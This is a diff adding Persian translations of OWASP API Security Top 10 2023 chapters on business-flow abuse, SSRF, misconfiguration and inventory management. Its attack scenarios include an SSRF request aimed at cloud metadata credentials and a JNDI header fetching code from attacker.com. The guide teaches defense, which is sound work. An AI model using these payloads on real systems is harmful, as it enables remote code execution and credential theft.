این که عملیات مدیریتی در داخل یک کنترل‌گر معمولی پس از بررسی‌های احراز هویت بر اساس گروه و نقش کاربر و بر اساس منطق کسب و کار پیاده‌سازی می‌شوند. + +## مراجع +- [Forced Browsing][1] +- "A7: Missing Function Level Access Control", [OWASP Top 10 2013][2] +- [Access Control][3] + +### خارجی + +- [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html) + +[1]: https://owasp.org/www-community/attacks/Forced_browsing +[2]: https://github.com/OWASP/Top10/raw/master/2013/OWASP%20Top%2010%20-%202013.pdf +[3]: https://owasp.org/www-community/Access_Control +[4]: https://cwe.mitre.org/data/definitions/285.html diff --git a/editions/2023/fa/0xa6-unrestricted-access-to-sensitive-business-flows.md b/editions/2023/fa/0xa6-unrestricted-access-to-sensitive-business-flows.md new file mode 100644 index 000000000..d1574299c --- /dev/null +++ b/editions/2023/fa/0xa6-unrestricted-access-to-sensitive-business-flows.md @@ -0,0 +1,58 @@ +# API6:2023 دسترسی نامحدود به جریان‌های حساس کسب و کار + +| ضعف امنیتی | عوامل تهدید / مسیر حمله | پیامد | +|---------|--------------------|------------| +| خاص API / قابلیت بهره‌برداری: آسان | میزان شیوع: گسترده/ قابلیت تشخیص: متوسط | پیامد فنی: متوسط / خاص کسب و کار | +| بهره برداری از این آسیب‌پذیری غالبا نیاز به فهم منطق کسب و کار، روابط مابین اشیا و ساختار API از سوی مهاجم دارد. | نداشتن یک دیدگاه کلی از API برای پشتیبانی کامل از نیازهای کسب و کار به تکرار این مشکلات منجر می‌شود. مهاجمان به صورت دستی منابع هدف(مثلاً نقاط پایان) و چگونگی کارکرد آنها را مشخص می‌کنند. اگر مکانیزم‌های مخصوص جلوگیری از حملات (تعداد دسترسی محدود به API، محدودیت نرخ و غیره) از قبل وجود داشته باشند، مهاجمان باید راهی برای دور زدن آنها پیدا کنند. | بطور کلی بهره‌برداری از این آسیب‌پذیری نباید تأثیرات فنی داشته باشد. اما مواردی مانند عدم امکان خرید محصول توسط کاربران معتبر یا ایجاد تورم در اقتصاد داخلی نیز ممکن است پیامد این آسیب‌پذیری باشند. | + +## آیا API از نظر دسترسی بدون محدودیت به جریان‌های کسب‌وکار حساس ‌‌‌آسیب‌پذیر است؟ + +در زمان ایجاد یک API Endpoint، باید مشخص شود چه جریان کاری‌ای افشا می‌شود. برخی از جریان‌های کاری نسبت به دیگران حساس‌تر هستند، به معنای اینکه دسترسی به آنها بیش از حد مجاز ممکن است به کسب و کار آسیب بزند. + +نمونه‌‌‌هایی از «ویژگی‌‌‌های حساس» عبارتند از: + +- جریان خرید محصول - مهاجم می‌تواند به یک‌باره تمام موجودی یک محصول با تقاضای بالا را خریداری کرده و سپس آن محصول را با قیمت بالاتری مجدداً بفروشد (scalping). +- جریان ایجاد نظر یا پست - مهاجم ممکن است سیستم را با ارسال نظرات یا پست‌های مکرر دچار مشکل کند. +- جریان رزرو کردن - مهاجم می‌تواند تمام بازه‌های زمانی موجود را رزرو کرده و مانع استفاده دیگر کاربران شود. + +خطر دسترسی بیش از حد، بین صنایع و کسب و کارهای مختلف متغیر است. به عنوان مثال، ایجاد پست‌ توسط یک اسکریپت ممکن است در یک شبکه اجتماعی به عنوان خطر اسپم در نظر گرفته شود، اما درشبکه اجتماعی دیگر تشویق شود. +اگر یک تابع انتهایی API امکان دسترسی بیش از حد به یک جریان کسب و کار حساس را فراهم ‌کند، در معرض حملات و سوءاستفاده‌ مهاجمان خواهد بود. + +## مثال‌‌‌هایی از سناریوهای حمله + +### سناریو #1 + +یک شرکت فناوری اعلام می‌کند که قصد دارد یک کنسول بازی جدید را در روز شکرگزاری منتشر کند. این محصول تقاضای بسیار بالا و موجودی محدودی دارد. مهاجم کدی می‌نویسد تا به صورت خودکار محصول جدید را بخرد. +در روز انتشار، مهاجم کد را از طریق آدرس IPها و مکان‌های مختلف اجرا می‌کند. تابع انتهایی API اقدامات حفاظتی مناسبی را پیاده‌سازی نکرده و درنتیجه به مهاجم این امکان را می‌دهد که بیشترین تعداد ممکن از موجودی را قبل از سایر کاربران معتبر بخرد. + +### سناریو #2 + +یک شرکت هواپیمایی خدمات مربوط به خرید بلیط آنلاین را بدون هیچ گونه هزینه‌ی لغو خرید، به کاربران ارائه می‌دهد. یک کاربر، 90٪ از صندلی‌های پرواز مورد نظر را رزرو می‌کند. +چند روز پیش از پرواز، کاربر مذکور، همه بلیط‌ها را یک‌جا لغو می‌کند، که باعث می‌شود شرکت هواپیمایی برای پر کردن پرواز، مجبور شود بلیط‌ها را با تخفیف بفروشد. در این حالت، کاربر می‌تواند یک بلیط به قیمت بسیار ارزان‌تر از بلیط اصلی بخرد. + +### سناریو #3 + +یک اپلیکیشن سفر اشتراکی برنامه‌ای برای معرفی دوستان دارد. کاربران می‌توانند دوستان خود را دعوت کرده و برای هر دوستی که به اپلیکیشن بپیوندد، اعتبار دریافت کنند. این اعتبار بعداً می‌تواند به عنوان وجه نقد برای رزرو سفرها استفاده شود. مهاجم با نوشتن یک اسکریپت فرآیند ثبت‌نام را به صورت خودکار انجام می‌دهد و با هر فرآیند ثبت‌نام کاربر جدید، اعتباری به کیف پولش اضافه می‌شود. مهاجم بعداً می‌تواند از سفرهای رایگان بهره‌برداری کرده یا حساب‌هایی با اعتبارهای اضافی را در ازای پول نقد بفروشد. + +## چگونه از ‌‌‌آسیب‌پذیری دسترسی بدون محدودیت به جریان‌های کسب‌وکار حساس پیشگیری کنیم؟ + +برنامه‌ریزی برای کاهش تهدیدات در دو لایه باید انجام شود: + +- در لایه کسب و کار، باید جریان‌های کسب و کار حساسی را شناسایی کنیم که اگر به صورت نرم‌افرازی استفاده شوند، ممکن است به کسب‌وکار آسیب بزنند. +- در لایه مهندسی، مکانیزم‌های حفاظتی مناسبی را برای کاهش خطرهای لایه کسب و کار انتخاب می‌کنیم. + +در این قسمت به مکانیزم‌های حفاظتی مختلف برای کاهش تهدیدات خودکار اشاره شده است. برخی از این مکانیزم‌ها ساده‌تر هستند و برخی دیگر پیچیده‌تر. روش‌های مختلفی برای کاهش سرعت تهدیدات خودکار مورد استفاده قرار می‌گیرد: + +- شناسایی دستگاه: این روش از طریق شناسایی و ممنوعیت دسترسی به دستگاه‌های ناشناخته می‌تواند مهاجمان را وادار به استفاده از راهکارهای پیچیده‌تری کند که برای آنها هزینه بیشتری دارد. مثلاً، سیستم ممکن است دسترسی مرورگرهای بدون رابط کاربری را ممنوع کند. +- شناسایی انسان: از راهکارهایی مانند Captcha یا راهکارهای بیومتریک پیشرفته‌تر مانند الگوهای تایپ کردن برای شناسایی کاربران انسانی استفاده می‌شود. +- الگوهای غیرانسانی: با تجزیه و تحلیل الگوهای عملکرد کاربران می‌توان الگوهای غیرانسانی را شناسایی کرد. به عنوان مثال، دسترسی کاربر به عملیات "افزودن به سبد خرید" و "تکمیل خرید" در کمتر از یک ثانیه، ممکن است نشانه‌ای از الگوی غیرانسانی باشد. +- مسدود کردن آدرس‌های IP از گره‌های خروجی Tor و پروکسی‌های معروف: این روش به مسدود کردن آدرس‌های IP مخصوص می‌پردازد که ممکن است توسط مهاجمان مورد استفاده قرار گیرد. +- محدود کردن دسترسی به API‌های مصرفی مستقیم توسط دستگاه‌ها (مانند API‌های توسعه‌دهندگان و B2B) مهاجمان را از دسترسی آسان به این API‌ها بازمی‌دارد. از آن‌جایی که این نوع API‌ها اغلب تمام مکانیزم‌های حفاظتی مورد نیاز را پیاده‌سازی نمی‌کنند، معمولا برای مهاجمان هدف آسانی می‌باشند. + +## مراجع + +- [OWASP Automated Threats to Web Applications][1] +- [API10:2019 Insufficient Logging & Monitoring][2] + +[1]: https://owasp.org/www-project-automated-threats-to-web-applications/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xaa-insufficient-logging-monitoring/ diff --git a/editions/2023/fa/0xa7-server-side-request-forgery.md b/editions/2023/fa/0xa7-server-side-request-forgery.md new file mode 100644 index 000000000..1cfd72555 --- /dev/null +++ b/editions/2023/fa/0xa7-server-side-request-forgery.md @@ -0,0 +1,127 @@ +# API7:2023 جعل درخواست در سمت سرور(SSRF) + +| ضعف امنیتی | عوامل تهدید / مسیر حمله | پیامد | +|---------|--------------------|------------| +| خاص API / قابلیت بهره‌برداری: آسان | میزان شیوع: متداول/ قابلیت تشخیص: آسان | پیامد فنی: متوسط / خاص کسب و کار | +| برای بهره‌برداری از این آسیب‌پذیری، مهاجم تابع انتهایی APIی را پیدا کند که به URI مشتری، دسترسی می‌دهد. به طور کلی، SSRF ابتدایی (که بر مبنای feedback حاصل از موفقیت یا شکست حمله طراحی شده) نسبت به SSRF کور راحت‌تر بهره‌برداری می‌شود. | مفاهیم جدید در توسعه نرم‌افزارها، توسعه‌دهندگان را تشویق می‌کنند تا از URI های ارائه شده توسط مشتریان استفاده کنند. یکی از مشکلات رایج در اینجا این است که URI ارائه شده توسط مشتری به درستی اعتبارسنجی نشده یا اصلاح نشده باشند. برای تشخیص این مشکل، درخواست‌ها و پاسخ‌های API در روند توسعه و تست برنامه باید تجزیه و تحلیل شوند. وقتی که پاسخی به مشتری برنگشت داده نمی‌شود (مثل SSRF کور)، تشخیص و رفع آسیب‌پذیری نیاز به تلاش و خلاقیت بیشتری دارد. | اگر مهاجمی حمله SSRF را با موفقیت انجام دهد، ممکن است به نتایجی نظیر شناسایی خدمات داخلی سرور (مانند اسکن پورت‌ها)، دسترسی به اطلاعات محرمانه افشا شده، دور زدن دیواره‌ی آتش‌ و دیگر مکانیزم‌های امنیتی دست یابد. در برخی موارد، این نوع حمله می‌تواند منجر به اختلال در ارائه سرویس (DoS) شود و باعث شود مهاجم از سرور به عنوان یک پروکسی برای پنهان کردن فعالیت‌های مخرب استفاده کند. | + +## آیا API از نظر جعل درخواست در سمت سرور ‌‌‌آسیب‌پذیر است؟ + +این آسیب‌پذیری زمانی رخ می‌دهد که یک API بدون اعتبارسنجی URL کاربر، منبعی را از راه دور درخواست می‌کند. این مسئله به مهاجم این امکان را می‌دهد تا اپلیکیشن را وادار کند حتی در صورت داشتن دیوار آتش یا شبکه خصوصی مجازی، درخواست‌هایی ساختگی ایجاد کرده و به مقصدی دور از انتظار ارسال کند. +مفاهیم مدرن در توسعه برنامه‌ها باعث می‌شود که مشکلات مربوط به این آسیب‌پذیری رایج‌تر و خطرناک‌تر شوند. +- موارد رایج‌تر: مفاهیم زیر، توسعه‌دهندگان را تشویق می‌کنند تا براساس ورودی کاربر به منابع خارجی دسترسی پیدا کنند: وب‌هوک‌ها، دریافت فایل از URLها، سفارشی‌سازی SSO و پیش‌نمایش URLها. +- موارد خطرناک‌تر: فناوری‌های مدرن مانند ارائه‌دهندگان فضای ابری، Kubernetes و Docker امکان قرارگیری رابط‌های مدیریت و کنترل را از طریق HTTP روی مسیرهای پیش‌بینی‌پذیر و شناخته‌شده فراهم آورده‌اند. این کانال‌ها مورد هدف مستقیم مهاجمان برای حملات SSRF قرار می‌گیرند. +در برنامه‌های مدرن که ارتباطات پیوسته و بدون وقفه با سایر اجزای سیستم دارند، کنترل ترافیک خروجی از برنامه به دلیل پیچیدگی ارتباطات بیشتر چالش‌برانگیز‌ است. +خطر SSRF نمی‌تواند به طور کامل از بین برود. بنابراین در هنگام انتخاب یک مکانیزم حفاظتی، مهم است که خطرات و نیازهای تجاری را در نظر گرفت. + +## مثال‌‌‌‌هایی از سناریوهای حمله + +### سناریو #1 + +یک شبکه اجتماعی به کاربران امکان بارگذاری تصویر برای پروفایل کاربری خود را می‌دهد. کاربر می‌تواند تصویر را از دستگاه بارگذاری کرده یا URL آن را وارد کند. در صورت وارد کردن URL، API زیر فراخوانی می‌شود: + +```http +POST /api/profile/upload_picture + +{ + "picture_url": "http://example.com/profile_pic.jpg" +} +``` + +مهاجم می‌تواند URL مخربی را ارسال کرده و با استفاده از تابع انتهایی API، پورت‌های شبکه داخلی را اسکن کند: + +```http +{ + "picture_url": "localhost:8080" +} +``` + +بر اساس زمان پاسخ‌دهی، مهاجم می‌تواند بفهمد که پورت باز است یا خیر. + +### سناریو #2 + +یک محصول امنیتی طوری طراحی شده که وقتی ناهنجاری‌هایی را در شبکه تشخیص دهد، رویدادهای متناسب با آن را تولید می‌کند. برخی از تیم‌ها ترجیح می‌دهند که این رویدادها را در یک سیستم نظارتی عمومی و کلان‌تر مانند SIEM (مدیریت اطلاعات و رویداد امنیتی) بررسی کنند. به این منظور، محصول امنیتی با استفاده از وب‌هوک‌ها امکان ادغام با سایر سیستم‌ها را فراهم می‌آورد. + +در جریان ایجاد یک وب‌هوک جدید، یک تغییر GraphQL ارسال می‌شود که شامل مسیر تابع انتهایی SIEM است: + +```graphql +POST /graphql + +[ + { + "variables": {} + "query": "mutation { + createNotificationChannel(input: { + channelName: "ch_piney" + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: "http://www.siem-system.com/create_new_event" + send_test_req: true + } + ] + } + }){ + channelId + } + }" + } +] +``` + +در طول فرآیند ایجاد وب‌هوک، API پشتیبانی یک درخواست آزمایشی به URL وب‌هوک ارائه شده، ارسال می‌کند و پاسخ را به کاربر نشان می‌دهد. +مهاجم می‌تواند از این فرآیند بهره برده و درخواست API را به منبعی حساس، مانند یک سرویس فهرست متادیتای ابر داخلی که شامل اطلاعات ورود به حساب‌های کاربری است، تغییر دهد: + +```graphql +POST /graphql + +[ + { + "variables": {} + "query": "mutation { + createNotificationChannel(input: { + channelName: "ch_piney" + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm" + send_test_req: true + } + ] + } + }) { + channelId + } + } + } +] +``` + +وقتی برنامه پاسخ این درخواست آزمایشی را ارسال می‌کند، مهاجم می‌تواند اطلاعات ورود به حساب کاربری در محیط ابری را مشاهده کند. + +## چگونه از ‌‌‌آسیب‌پذیری جعل درخواست در سمت سرور پیشگیری کنیم؟ + +- جداسازی مکانیزم بازیابی منابع در شبکه‌: محدود کردن امکان دسترسی به منابع داخلی شبکه توسط مکانیزم‌هایی که برای بازیابی منابع از راه دور طراحی شده‌اند. +- در صورت امکان، از لیست‌های مجاز استفاده شود. + - الگوهای URL و پورت‌ها + - انواع رسانه‌های مجاز برای قابلیت‌های خاص + - غیرفعال کردن بازنشانی‌های HTTP +- استفاده از یک تجزیه‌کننده URL امتحان شده برای جلوگیری از مشکلات ناشی از عدم انطباق در تجزیه URL +- اعتبارسنجی و پاکسازی تمام داده‌های ورودی از سوی مشتری +- عدم ارسال داده خام به مشتری + +## مراجع + +- [OWASP](https://owasp.org/) +- [Server Side Request Forgery][1] +- [Server-Side Request Forgery Prevention Cheat Sheet][2] + +### خارجی + +- [CWE-918: Server-Side Request Forgery (SSRF)][3] +- [URL confusion vulnerabilities in the wild: Exploring parser inconsistencies,Snyk][4] + +[1]: https://owasp.org/www-community/attacks/Server_Side_Request_Forgery +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/918.html +[4]: https://snyk.io/blog/url-confusion-vulnerabilities/ \ No newline at end of file diff --git a/editions/2023/fa/0xa8-security-misconfiguration.md b/editions/2023/fa/0xa8-security-misconfiguration.md new file mode 100644 index 000000000..328d33bfb --- /dev/null +++ b/editions/2023/fa/0xa8-security-misconfiguration.md @@ -0,0 +1,95 @@ +# API8:2023 پیکربندی امنیتی نادرست + +| ضعف امنیتی | عوامل تهدید / مسیر حمله | پیامد | +|---------|--------------------|------------| +| خاص API / قابلیت بهره‌برداری: آسان | میزان شیوع: گسترده/ قابلیت تشخیص: آسان | پیامد فنی: متوسط / خاص کسب و کار +| مهاجمین غالبا در تلاش برای یافتن حفره‌های وصله نشده، توابع رایج یا فایل‌ها و مسیرهای محافظت نشده به منظور دسترسی غیرمجاز به سیستم هستند. اطلاعات و تکنیک‌های مرتبط با این مسائل به طور عمومی در دسترس بوده و احتمال وقوع حمله در مورد آنها وجود دارد. | پیکربندی امنیتی نادرست می‌تواند در هر سطحی از API، از سطح شبکه تا سطح اپلیکشن روی دهد. ابزارهای خودکاری وجود دارند که فرایند تشخیص و بهره برداری از پیکربندی‌های نادرست نظیر تشخیص سرویس‌های غیرضروری را انجام می‌دهند. | پیکربندی امنیتی نادرست نه تنها می‌تواند اطلاعات حساس کاربر را افشا کند بلکه جزئیاتی از سیستم که ممکن است به از دست رفتن کامل سرور منجر شود را نیز در معرض خطر قرار می‌دهد. | + +## آیا API از نظر پیکربندی امنیتی نادرست‌‌‌آسیب‌پذیر است؟ + +API از منظر پیکربندی امنیتی نادرست ‌‌‌آسیب‌پذیر است اگر: + +- ایمن سازی امنیتی مناسب در هر قسمت از پشته اپلیکیشن رعایت نشده یا اپلیکیشن مجوزهای با پیکربندی نادرست روی سرویس‌‌‌‌های ابری داشته باشد. +- جدیدترین وصله‌‌‌‌های امنیتی نصب نشده و سیستم‌‌‌‌ها کاملا بروز نباشند. +- ویژگی غیرضروری (نظیر Verb اضافی HTTP) فعال باشند. +- تفاوت‌هایی در نحوه پردازش درخواست‌های ورودی توسط سرورها در زنجیره سرور HTTP وجود داشته باشد. +- امنیت لایه انتقال (TLS) غیرفعال باشد. +- دستورات و الزامات امنیتی (نظیر سرایندهای امنیتی) به سوی کلاینت ارسال نشوند. +- خط مشی اشتراک متقابل منابع (CORS) وجود نداشته یا به درستی ‌پیاده‌سازی نشده باشد. +- پیام‌‌‌‌های خطا ردپای پشته یا اطلاعات حساس دیگر را افشا نمایند. + +## مثال‌‌‌‌هایی از سناریوهای حمله + +### سناریو #1 + +سروری از API یک نرم‌افزار ثبت دسترسی معتبر و متن‌باز با قابلیت توسعه و پشتیبانی از جستجوهای JNDI (واسطه نام‌گذاری و دایرکتوری جاوا) برای ثبت درخواست‌ها و دسترسی‌ها استفاده می‌کند. برای هر درخواست جدید، یک ورودی جدید با الگوی زیر ثبت می‌شود: `http / - ` یک عامل مخرب، درخواست API مشخصی را ارسال می‌کند که در فایل گزارش دسترسی نوشته می‌شود: + +```http +GET /health +X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class} +``` + +اگر مهاجم از یک سرور کنترل از راه دور برای اجرای یک کد مخرب با نام `Malicious.class` استفاده کرده و این کد را در سرآیند درخواست `X-Api-Version` قرار دهد، نرم‌افزار گزارش‌دهی، به دلیل تنظیمات پیش‌فرض ناامن خود، این کد مخرب را از سرور مهاجم دانلود کرده و اجرا می‌کند. + +### سناریو #2 + +یک وب‌سایت شبکه‌ی اجتماعی امکان ارسال "پیام مستقیم" را فراهم کرده که به کاربران امکان برقراری گفت‌وگوی خصوصی را می‌دهد. برای دریافت پیام‌های جدید در یک گفت‌وگو خاص، وب‌سایت درخواست API زیر را ارسال می‌کند (نیازی به تعامل کاربری نیست): + +```http +GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA +``` + +پاسخ API شامل هدر پاسخ `HTTP Cache-Control` نمی‌شود، به همین علت گفت‌وگوهای خصوصی در مرورگر وب ذخیره شده و به مهاجمان اجازه می‌دهد که آنها را از فایل‌های حافظه نهان مرورگر در فایل‌سیستم بازیابی کنند. + +## چگونه از ‌‌‌آسیب‌پذیری پیکربندی امنیتی نادرست پیشگیری کنیم؟ + +چرخه حیات API بایستی شامل موارد زیر باشد: + +- فرایندی تکرار شونده برای ایمن سازی API که منجر به ‌پیاده‌سازی سریع و آسان یک محیط ایمن شود. +- فرایندی برای بازبینی و بروزرسانی پیکربندی‌‌‌‌ها در سراسر پشته API؛ این بازبینی بایستی موارد از جمله بازبینی هماهنگی بین فایل‌‌‌‌ها، مولفه‌‌‌‌های API و سرویس‌‌‌‌های ابری (نظیر مجوزهای باکت‌‌‌‌های S3) را دربرگیرد. +- فرایندی خودکار جهت ارزیابی پیوسته و مداوم اثربخشی پیکربندی و تنظیمات اعمال شده در سراسر محیط API و اپلیکیشن. + +بعلاوه: + +- حصول اطمینان از این که تمام ارتباطات API از سمت مشتری به سرور و هر کارکردهای دیگر روی یک کانال ارتباطی رمزنگاری شده (TLS) انجام می‌شود؛ بدون توجه به اینکه آیا این API داخلی است یا به صورت عمومی منتشر شده است. +- حصول اطمینان از اینکه API فقط به افعال HTTP مدنظر توسعه دهنده پاسخ می دهد و غیرفعال کردن سایر افعال (نظیر HEAD). +- APIهایی که انتظار می‌رود دسترسی به آنها از طریق کلاینت‌‌‌‌های مبتنی بر مرورگر (مثلا فرانت WebApp) باشد: + - بایستی خط مشی CORS مناسب را بکار گیرند. + - شامل سرآیندهای امنیتی قابل اجرا باشند. + - محتوا و فرمت‌ داده‌های ورودی را طوری محدود کنید که با نیازها و عملکرد کسب‌وکار سازگار باشند. +- برای جلوگیری از مشکلات عدم هماهنگی، مطمئن شوید که تمام سرورها در زنجیره سرورهای HTTP (مانند توازن بار، پروکسی‌های معکوس و پیشرو و back-end) درخواست‌های ورودی را به شیوه‌ای یکنواخت پردازش می‌کنند. +- در موارد قابل اجرا، تمام طرح‌های بارگیری پاسخ API تعریف و اعمال شود، از جمله پاسخ‌های خطا، تا از ارسال جزئیات اشتباه و اطلاعات مهم به مهاجمان جلوگیری گردد. +- برای همه پاسخ‌هایی که از API دریافت می‌شود، حتی پاسخ‌های شامل پیغام خطا، یک نقشه ساختاری دقیق تعریف شود. این اقدام باعث می‌شود که جزئیات خطاها و سایر اطلاعات حساس به مهاجمان ارسال نشود. + +## مراجع + +- [OWASP Secure Headers Project][1] +- [Configuration and Deployment Management Testing - Web Security Testing Guide][2] +- [Testing for Error Handling - Web Security Testing Guide][3] +- [Testing for Cross Site Request Forgery - Web Security Testing Guide][4] + +### خارجی + +- [CWE-2: Environmental Security Flaws][5] +- [CWE-16: Configuration][6] +- [CWE-209: Generation of Error Message Containing Sensitive Information][7] +- [CWE-319: Cleartext Transmission of Sensitive Information][8] +- [CWE-388: Error Handling][9] +- [CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')][10] +- [CWE-942: Permissive Cross-domain Policy with Untrusted Domains][11] +- [Guide to General Server Security][12], NIST +- [Let's Encrypt: a free, automated, and open Certificate Authority][13] + +[1]: https://owasp.org/www-project-secure-headers/ +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README +[3]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/README +[4]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery +[5]: https://cwe.mitre.org/data/definitions/2.html +[6]: https://cwe.mitre.org/data/definitions/16.html +[7]: https://cwe.mitre.org/data/definitions/209.html +[8]: https://cwe.mitre.org/data/definitions/319.html +[9]: https://cwe.mitre.org/data/definitions/388.html +[10]: https://cwe.mitre.org/data/definitions/444.html +[11]: https://cwe.mitre.org/data/definitions/942.html +[12]: https://csrc.nist.gov/publications/detail/sp/800-123/final +[13]: https://letsencrypt.org/ diff --git a/editions/2023/fa/0xa9-improper-inventory-management.md b/editions/2023/fa/0xa9-improper-inventory-management.md new file mode 100644 index 000000000..fef59e61c --- /dev/null +++ b/editions/2023/fa/0xa9-improper-inventory-management.md @@ -0,0 +1,61 @@ +# API9:2023 مدیریت نادرست دارایی‌ها + +| ضعف امنیتی | عوامل تهدید / مسیر حمله | پیامد | +|---------|--------------------|------------| +| خاص API / قابلیت بهره‌برداری: آسان | میزان شیوع: گسترده/ قابلیت تشخیص: متوسط | پیامد فنی: متوسط / خاص کسب و کار +| نسخه‌های قدیمی API غالبا اصلاح و بروزرسانی نشده‌اند و از آنجا که از مکانیزم‌های دفاعی نوین موجود در APIهای جدید بهره نمی‌برند، راهی آسان برای دسترسی به سیستم‌ها برای مهاجمین فراهم می‌سازند. در برخی موارد، ابزارهای یا تکنیک‌های نفوذ برای حمله به سیستم‌ها از قبل وجود دارند. در موارد دیگر، ممکن است مهاجمان از طریق یک شخص یا سازمان ثالث که هیچ دلیل قانونی برای به اشتراک گذاری اطلاعات با آن وجود ندارد، به اطلاعات حساس دسترسی یابند. | عدم بروزرسانی مستندات، شناسایی و رفع آسیب پذیری‌ها را دشوارتر می‌کند. همچنین نبود فهرستی از دارایی‌ها و فقدان یک استراتژی مدون برای از دور خارج کردن نسخه‌های قدیمی منجر می‌شود تا سیستم های وصله نشده، مورد استفاده قرار گرفته و در نتیجه آن افشای اطلاعات رخ دهد. امروزه با کمک مفاهیم نوینی نظیر مایکروسرویس‌ها که امکان بکارگیری اپلیکیشن‌ها بصورت مستقل را تسهیل نموده‌اند (نظیر رایانش ابری، k8s یا کوبرنیتس و ...)، یافتن APIهایی که به صورت غیرضروری در معرض دید همگان قرار دارند تبدیل به امری رایج و آسان شده است. استفاده از تکنیک‌هایی مانند Google Dorking، نقض DNS یا استفاده از موتورهای جستجوی ویژه برای انواع مختلف سرورها (دوربین‌های تحت شبکه، روترها، سرورها و غیره) متصل به اینترنت کافی خواهد بود تا مهاجم بتواند اهدافی را کشف کند. | مهاجم می‌تواند از طریق نسخه‌های قدیمی API که کماکان به پایگاه داده‌ی اصلی متصل هستند، به داده‌ی حساس و یا حتی سرور دسترسی یابد. گاهی اوقات نسخه‌ها یا پیاده‌سازی‌های مختلف API به پایگاه داده‌ای مشترک با داده‌های واقعی متصل هستند. عاملان تهدید ممکن است از endpointهای موجود در نسخه‌های قدیمی API برای دستیابی به توابع مدیریتی استفاده کرده و از آسیب‌پذیری‌های شناخته شده بهره‌برداری کنند. | + +## آیا API از نظر مدیریت نادرست دارایی‌ها ‌آسیب‌پذیر است؟ + +طبیعت متصل و پراکنده API‌ها و برنامه‌های مدرن چالش‌های جدیدی را به دنبال دارد. سازمان‌ها علاوه بر داشتن درک دقیقی از API‌ها و endpoint های آن‌ها، باید چگونگی به اشتراک گذاری داده با شرکت‌ها یا اشخاص دیگر را درک کنند. این مسأله به امنیت و حفظ حریم خصوصی داده‌ها مرتبط بوده و نیازمند درک کامل و کنترل دقیق بر روی چگونگی استفاده از داده‌ها و اشتراک آن‌ها با سایر ارتباط‌گیرندگان است. +اجرای چندین نسخه از یک API نیازمند ارائه منابع مدیریتی اضافی می‌باشد که باید برای هر نسخه از API منابع و زیرساخت مجزا فراهم نموده و از نظر امنیتی بر هر کدام نظارت کرد. + +یک API در مستنداتش نقاط کور دارد اگر: + +- هدف از وجود API نامشخص بوده و پاسخی برای سوال‌های زیر وجود نداشته باشد: + - API در چه محیطی در حال اجرا است (مثلا محیط تست، توسعه، اجرا یا عملیات)؟ + - چه کسانی بایستی دسترسی شبکه‌ای به API داشته باشند (همه، افراد دخیل یا شرکا)؟ + - چه نسخه‌ای از API در حال اجرا است؟ + - چه داده‌ای (نظیر PII) توسط API در حال جمع آوری و پردازش است؟ + - جریان داده به چه صورت است؟ +- مستندی برای API وجود ندارد یا بروز نیست. +- برنامه‌ای برای بازنشستگی و از دور خارج شدن هریک از نسخه‌های API وجود ندارد. +- فهرست میزبان‌ها وجود ندارد یا قدیمی است. + +داشتن دید و لیست‌بندی از چگونگی جریان اطلاعات حساس در سازمان و نحوه تبادل این اطلاعات با شخص‌ها یا سازمان‌های دیگر، نقش مهمی در برنامه واکنش به وقوع یک حادثه امنیتی دارد. این اهمیت به ویژه زمانی ظاهر می‌شود که یک نقض امنیتی از سوی شرکت یا سازمان سومی رخ دهد. + +یک API دارای نقطه کور در جریان داده است اگر: + +- API جریان داده حساسی را با طرف ثالث به اشتراک می‌گذارد و + - توجیه تجاری یا تأییدی برای این جریان وجود ندارد. + - موجودیت یا دیدگاهی از این جریان وجود ندارد. + - دیدگاه دقیقی از نوع داده حساسی که به اشتراک گذاشته می‌شود، وجود ندارد. + +## مثال‌هایی از سناریوهای حمله + +### سناریو #1 + +یک شبکه اجتماعی از مکانیزم محدودسازی نرخ ارسال درخواست برای جلوگیری از انجام حملات Brute Force توسط مهاجمین جهت حدس توکن‌های تغییر گذرواژه بهره می‌برد. این مکانیزم نه به عنوان بخشی از کد API، بلکه به عنوان مولفه ای مابین کلاینت و API اصلی (در www.socialnetwork.com) ‌پیاده‌سازی شده است. مهاجم یک نسخه بتا از میزبان API (www.mbasic.beta.socialnetwork.com) می‌یابد که از API یکسانی بهره می‌برد و رویه تغییر گذرواژه یکسانی دارد با این تفاوت که در آن هیچ مکانیزمی جهت محدودسازی نرخ درخواست تعبیه نشده است؛ در نتیح... + +### سناریو #2 + +توسعه‌دهندگان برنامه‌های مستقل می‌توانند با یک شبکه اجتماعی ادغام شوند. به عنوان بخشی از این فرآیند، اجازه‌نامه‌ای به کاربر نهایی ارائه می‌شود تا شبکه اجتماعی بتواند اطلاعات شخصی کاربران را با برنامه مستقل به اشتراک بگذارد. جریان داده بین شبکه اجتماعی و برنامه‌های مستقل، محدود نیست و نظارت کافی بر آن نمی‌شود. درنتیجه برنامه‌های مستقل به جز اطلاعات کاربر، به اطلاعات خصوصی تمام دوستان آن‌ها دسترسی پیدا می‌کنند. یک شرکت مشاوره، برنامه مخربی ایجاد کرده و توانسته از 270،000 کاربر اجازه‌ دسترسی به اطلاعاتشان ر... + +## چگونه از ‌آسیب‌پذیری مدیریت نادرست دارایی‌ها پیشگیری کنیم؟ + +- فهرستی از تمامی میزبان‌های API تهیه شده و جنبه‌های مهم هرکدام با تمرکز بر محیط API (محیط تست، توسعه، اجرا یا عملیات)، افراد مجاز به دسترسی شبکه‌ای به میزبان (همه، افراد دخیل یا شرکا) و نسخه API مستند شود. +- فهرستی از سرویس‌های یکپارچه تهیه شده و جنبه‌های مهم این سرویس‌ها نظیر نقش آنها، داده‌ی مبادله شده (جریان داده) و میزان حساسیت آنها مستند شود. +- تمامی جنبه‌های API نظیر نحوه 